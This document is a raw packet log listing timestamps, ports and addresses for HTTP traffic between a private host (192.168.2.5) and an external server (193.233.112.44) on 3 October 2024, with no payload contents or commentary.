Oct 3, 2024 23:17:02.820281982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.845834017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.845879078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.845937967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.845973969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846004009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846025944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846025944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846025944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846025944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846055984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846065044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846093893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846101046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846128941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846138000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846163988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846168995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846210957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846215010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846252918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846262932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846286058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846295118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846324921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846327066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846355915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846366882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846390963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846395016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846426010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846432924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846460104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846466064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846494913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846499920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846534967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846546888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846596003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846600056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846632957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846643925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846668005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846678019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846702099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846708059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846735954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846743107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846774101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846786022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846821070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846831083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846853971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846859932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846888065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846894979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846927881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846929073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.846961975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.846966982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847007036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847016096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847049952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847063065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847085953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847100973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847125053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847136021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847160101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847166061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847194910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847206116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847229958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847243071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847265959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847271919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847301960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847313881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847337008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847351074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847379923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847455025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847487926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847502947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847522020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847531080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847557068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847567081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847590923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847605944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847625017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847628117 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847661018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847673893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847697020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847702026 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847743034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847800970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847832918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847848892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847867012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847876072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847901106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847913980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847934961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847946882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.847970009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.847984076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.848004103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.848011971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.848048925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852718115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852752924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852771997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852788925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852794886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852837086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852854967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852884054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852905035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852916956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852922916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852952003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852958918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.852988005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.852998018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853034973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853082895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853118896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853136063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853152037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853158951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853187084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853199959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853223085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853235960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853270054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853306055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853339911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853355885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853374004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853379011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853408098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853420973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853439093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853455067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853481054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853503942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853554964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853585958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853620052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853631973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853662968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853729963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853763103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853776932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853796959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853806019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853831053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853843927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853871107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853879929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853919029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.853923082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853957891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.853964090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854002953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854037046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854043961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854043961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854068995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854084969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854115009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854346037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854378939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854401112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854417086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854418993 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854453087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854461908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854497910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854504108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854536057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854552984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854568958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854574919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854604006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854614019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854638100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854649067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854671955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854685068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854707956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854720116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854748964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854754925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854787111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854801893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854820967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854831934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854868889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854898930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854932070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854949951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.854967117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.854979038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.855003119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.855016947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.855045080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.855087996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.855119944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.855137110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.855154991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.855165005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.855201960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.909849882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.909917116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.909946918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.909960985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910002947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910002947 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910048008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910085917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910106897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910126925 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910132885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910164118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910166979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910202980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910224915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910270929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910275936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910310984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910319090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910345078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910350084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910382032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910384893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910419941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910481930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910528898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910567045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910602093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.910614014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.910640955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936521053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936566114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936620951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936655045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936686993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936721087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936760902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936811924 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936814070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936814070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936814070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936814070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936814070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936844110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936856031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936878920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936885118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936913967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936919928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936948061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936952114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.936981916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.936988115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937022924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937035084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937068939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937077045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937104940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937108994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937139034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937144995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937180042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937196016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937235117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937237024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937268019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937274933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937304020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937310934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937338114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937345028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937372923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937376976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937410116 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937417030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937443018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937449932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937479019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937483072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937514067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937519073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937547922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937553883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937583923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937588930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937618971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937627077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937663078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937743902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937777042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937793016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937810898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937813044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937845945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937850952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937880039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937885046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937913895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937920094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937947989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937952995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.937982082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.937988043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938019991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938194036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938227892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938242912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938261032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938261986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938294888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938297987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938328981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938334942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938363075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938369036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938397884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:02.938401937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:02.938431978 CEST	80	49710	193.233.112.44	192.168.2.5
